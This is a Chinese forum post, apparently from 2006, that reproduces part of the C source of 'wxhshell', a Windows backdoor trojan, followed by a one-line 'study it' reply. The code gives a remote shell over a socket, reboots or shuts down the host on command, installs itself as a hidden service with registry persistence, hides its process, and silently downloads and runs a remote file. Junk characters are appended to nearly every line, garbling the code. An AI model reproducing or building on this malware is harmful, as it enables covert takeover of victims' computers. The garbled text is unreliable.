  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #-8\JEn  
  if(DownloadFile(cmd,wsh)) R(-<BtM!-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }U SC1J  
  else BW"&6t#kA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {8R"O{  
  } uZZU{U9h  
  else { l^d[EL+  
%lX%8Z$v  
    switch(cmd[0]) { V97,1`  
   Y=`  
  // 帮助 `fNG$ODL   
  case '?': { 6G}+gqbX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vsL[*OeI  
    break; yQ3OL#  
  } jqH3J2L  
  // 安装 @:tj<\G]  
  case 'i': { t+?P^Ok  
    if(Install()) rCS#{x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); []0mX70N  
    else 7 Sa1;%R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sa"9^_.2#  
    break; A~Xq,BxCV  
    } bln/1iS  
  // 卸载 ? <Y+peu  
  case 'r': { `z0{S!  
    if(Uninstall()) v`V7OD#:j]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;f,c't@w  
    else _U{([M>;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )RYG%  
    break; ]I/Vbs  
    } 'a^{=+  
  // 显示 wxhshell 所在路径 ](eN@Xi&@  
  case 'p': { q!f1~aG  
    char svExeFile[MAX_PATH]; "xAWG$b  
    strcpy(svExeFile,"\n\r"); 8F)G7 H ,  
      strcat(svExeFile,ExeFile); >/<:Q  &  
        send(wsh,svExeFile,strlen(svExeFile),0); - O"i3>C  
    break; Omi^>c4G  
    } j#0j)k2Q  
  // 重启 }X;U|]d  
  case 'b': { M HL("v(@B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j5 Un1  
    if(Boot(REBOOT)) PuxK?bwC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /D_+{dtE  
    else { #'OaKt?Z)  
    closesocket(wsh); JaWv]@9*  
    ExitThread(0); aTGdmj!  
    } `(0LK%w  
    break; :)jJge&^p  
    } WxbsD S;  
  // 关机 8u2+tB  
  case 'd': { tvX>{-M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 69kJC/1+l  
    if(Boot(SHUTDOWN)) 4R>zPEo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<MR`h1  
    else { FVF-:C  
    closesocket(wsh); {dPgf  
    ExitThread(0); kllQca|$4  
    } 4c~>ci,N?(  
    break; [ neXFp}S  
    } 6Ggs JU  
  // 获取shell n,P5o_^:  
  case 's': { j2 h[70fWC  
    CmdShell(wsh); \'19BAm'  
    closesocket(wsh); #>@z 2K7  
    ExitThread(0); <Wl(9$  
    break; (I{ $kB"p  
  } SC#sax4N!=  
  // 退出 h5|.Et  
  case 'x': { %@ mGK8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .g\6g~n  
    CloseIt(wsh); < /p 8r  
    break; MM{_Ur7Q  
    } )_jSG5k  
  // 离开 Q |i9aE  
  case 'q': { w#G2-?aj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m4ApHM2  
    closesocket(wsh); ,<ya@Fi{  
    WSACleanup(); N4^5rrkL  
    exit(1); w,.qCpT$_  
    break; H!IDV }dn  
        } CfT/R/L  
  } Sm3u/w!  
  } b_$ 1f >  
FT\?:wpKa  
  // 提示信息 9$d.P6|d>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  v%{0 Tyk  
} S;@ay/*~  
  } c5i%(!>  
aSaAC7sFk  
  return; x%BF {Sw  
} iL?iz?+.%@  
 u>cC O'q  
// shell模块句柄 Ya4?{2h@+  
int CmdShell(SOCKET sock) y62%26 [  
{ hCc0sRp  
STARTUPINFO si; mVH,HqsXa  
ZeroMemory(&si,sizeof(si)); setL dEi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #V 43=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )r!e2zc=Q  
PROCESS_INFORMATION ProcessInfo; FRyPeZR  
char cmdline[]="cmd"; - @bp4Z=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `<vxG4=62\  
  return 0; ]A:( L9  
} ku.A|+Tn  
a1x7~)z>zi  
// 自身启动模式 aw$Y`6,S  
int StartFromService(void) !*a[jhx  
{ +l\<?  
typedef struct fD6GQ*  
{ 8 $ ~3ra  
  DWORD ExitStatus; n9}RW;N+u  
  DWORD PebBaseAddress; X8 qIia  
  DWORD AffinityMask; jXcNAl  
  DWORD BasePriority; dtW0\^ .L  
  ULONG UniqueProcessId; 0\ f-z6  
  ULONG InheritedFromUniqueProcessId; };SV!'9s?~  
}   PROCESS_BASIC_INFORMATION; CIQwl 6H9  
T\3[F%?  
PROCNTQSIP NtQueryInformationProcess; #<#%>Y^  
WN0c %kz=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B7 c[ 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fv==Gu%{  
p{C9`wi)  
  HANDLE             hProcess; Yo'K pdn  
  PROCESS_BASIC_INFORMATION pbi; ~gt3Omh  
BJIQ zn3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5P\N"Yjx'  
  if(NULL == hInst ) return 0; dQ6GhS ~  
M:|/ijp N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j`9Nwa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dpn3 (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RZ6~c{  
4<Kgmy  
  if (!NtQueryInformationProcess) return 0; ,9vJtP+T+!  
9HKf^+';n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6+ANAk  
  if(!hProcess) return 0; G+C} <S}  
"WP% REE!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <ge}9pU)o^  
Y-~;E3(  
  CloseHandle(hProcess); ,RN|d0dE  
%yhI;M^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d#7]hF  
if(hProcess==NULL) return 0; <?4cWp|i  
[a+4gy  
HMODULE hMod; q\_DJ)qpn  
char procName[255]; :p$EiR  
unsigned long cbNeeded; %O_t`wz  
"uS7PplyO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \bRy(Z)  
Zly-\ z_  
  CloseHandle(hProcess); D+hB[*7Fs  
 Q>[Ce3  
if(strstr(procName,"services")) return 1; // 以服务启动 `$f2eB&   
Un\Ubqi0  
  return 0; // 注册表启动 xfes_v""  
} o oDdV >  
w Oj88J)  
// 主模块 uZ<%kV1B  
int StartWxhshell(LPSTR lpCmdLine) 59~FpjJ  
{ pMDH  
  SOCKET wsl; &|NZ8:*+#  
BOOL val=TRUE; *@~`d*d  
  int port=0; Ri[S<GOMii  
  struct sockaddr_in door; 15JsmA*Q  
hw|t8 ShW  
  if(wscfg.ws_autoins) Install(); MyqiBGTb  
Eh {up  
port=atoi(lpCmdLine); +`9yZOaC#  
YR$tPe  
if(port<=0) port=wscfg.ws_port; m~Lf^gbG?  
=g{_^^n  
  WSADATA data; v1`bDS?*Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $K=K?BV[  
 9OrA9r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   },?-$eyX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ef//G+Z"  
  door.sin_family = AF_INET; ^N*pIVLC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `D&#U'wB   
  door.sin_port = htons(port); KUl Zk^a  
mafAC73  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VWnu#_(  
closesocket(wsl); VZ9e~){xA  
return 1; ;j[q?^ b  
} 6/p]jN  
; /6:lL  
  if(listen(wsl,2) == INVALID_SOCKET) { jgZX ~D  
closesocket(wsl); @j)f(Zlu#  
return 1; mI _ 6f~  
} $g}/T_26  
  Wxhshell(wsl); `Z;B^Y0  
  WSACleanup(); YyX^lL_  
B=o#LL  
return 0; Rx_,J%0Fq  
%j 9vX$Hj  
} H4K(SGx  
>o=axZNa  
// 以NT服务方式启动 Q!BkS=H30K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~@a) E+LsF  
{ Z.cG`Km*  
DWORD   status = 0; DbPBgD>Q  
  DWORD   specificError = 0xfffffff; j,gM+4V^  
Yp?a=R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (<5'ceF )X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cSHtl<UY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5jj5 7j"  
  serviceStatus.dwWin32ExitCode     = 0; Z;dwn~Tw  
  serviceStatus.dwServiceSpecificExitCode = 0; 6i?kkULBS  
  serviceStatus.dwCheckPoint       = 0; YA/H;707l  
  serviceStatus.dwWaitHint       = 0; `gA5P %  
/M{)k_V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *I;Mp  
  if (hServiceStatusHandle==0) return; N|^!"/  
+(=[M]5#n  
status = GetLastError(); ":ws~Zep  
  if (status!=NO_ERROR) QtO[g  
{ nu1w:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /fcwz5~  
    serviceStatus.dwCheckPoint       = 0; (t"YoWA#m  
    serviceStatus.dwWaitHint       = 0; '&o> %V  
    serviceStatus.dwWin32ExitCode     = status; @?($j)9}  
    serviceStatus.dwServiceSpecificExitCode = specificError; =fu_ Jau}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sjVl/t`l  
    return; vr]dRStr  
  } aX%g+6t2  
-^SD6l$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dsft=t8s  
  serviceStatus.dwCheckPoint       = 0; ROI$;B(  
  serviceStatus.dwWaitHint       = 0; l<+,(E=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X#\P.$  
} 5E!|on  
fe]T9EDA  
// 处理NT服务事件,比如:启动、停止 h11bK'TIv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 70 D Q/b  
{ C8%nBa /  
switch(fdwControl) <i`K%+<WO  
{ Q0oDl8~  
case SERVICE_CONTROL_STOP: Y_ u7 0@`  
  serviceStatus.dwWin32ExitCode = 0; hrtN.4p[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BtDgv.;GH  
  serviceStatus.dwCheckPoint   = 0; ?2 O-EiWjZ  
  serviceStatus.dwWaitHint     = 0; ,jdKcWy'  
  { ^SES')x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:o$|7r  
  } ieK'<%dxF  
  return; [+5SEr}  
case SERVICE_CONTROL_PAUSE: ;R-Q,aCM}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4?6'~G$k  
  break; ,@j& q  
case SERVICE_CONTROL_CONTINUE: vskM;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tLGwF3e$A  
  break; E9NGdp&-Ah  
case SERVICE_CONTROL_INTERROGATE: Vf* B1Zb  
  break; I5 7<0  
}; kKTED1MW&W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); So0,)  
} ~ 8qFM  
>w'?DV>u|  
// 标准应用程序主函数 5L'@WB|{4u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z j0pP{y  
{ AI`1N%Owi  
b8xfV{3L  
// 获取操作系统版本 {d5ur@G1  
OsIsNt=GetOsVer(); vt7C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qQ\hUii  
?J1&,'&  
  // 从命令行安装 S| ?--vai_  
  if(strpbrk(lpCmdLine,"iI")) Install(); H5rNLfw '  
=(uy':Dbn*  
  // 下载执行文件 :1Yd;%>92  
if(wscfg.ws_downexe) { Z)>a6s$ih<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !)1Zp*  
  WinExec(wscfg.ws_filenam,SW_HIDE); %y~]3XWik  
} <. ]&FPJ  
]$%4;o4O  
if(!OsIsNt) { E.*OA y  
// 如果时win9x,隐藏进程并且设置为注册表启动 |Szr=[  
HideProc(); 9S`b7U=P  
StartWxhshell(lpCmdLine); m,"tdVo.  
} G\+MT(&5  
else iV$75Atk  
  if(StartFromService()) <Gt{(is  
  // 以服务方式启动 @g` ,'r  
  StartServiceCtrlDispatcher(DispatchTable); 3^Q U4  
else JH,fg K+[  
  // 普通方式启动  PW\FcT  
  StartWxhshell(lpCmdLine); : l[Q  
P_Ja?)GT  
return 0; 4E94W,1%,Y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五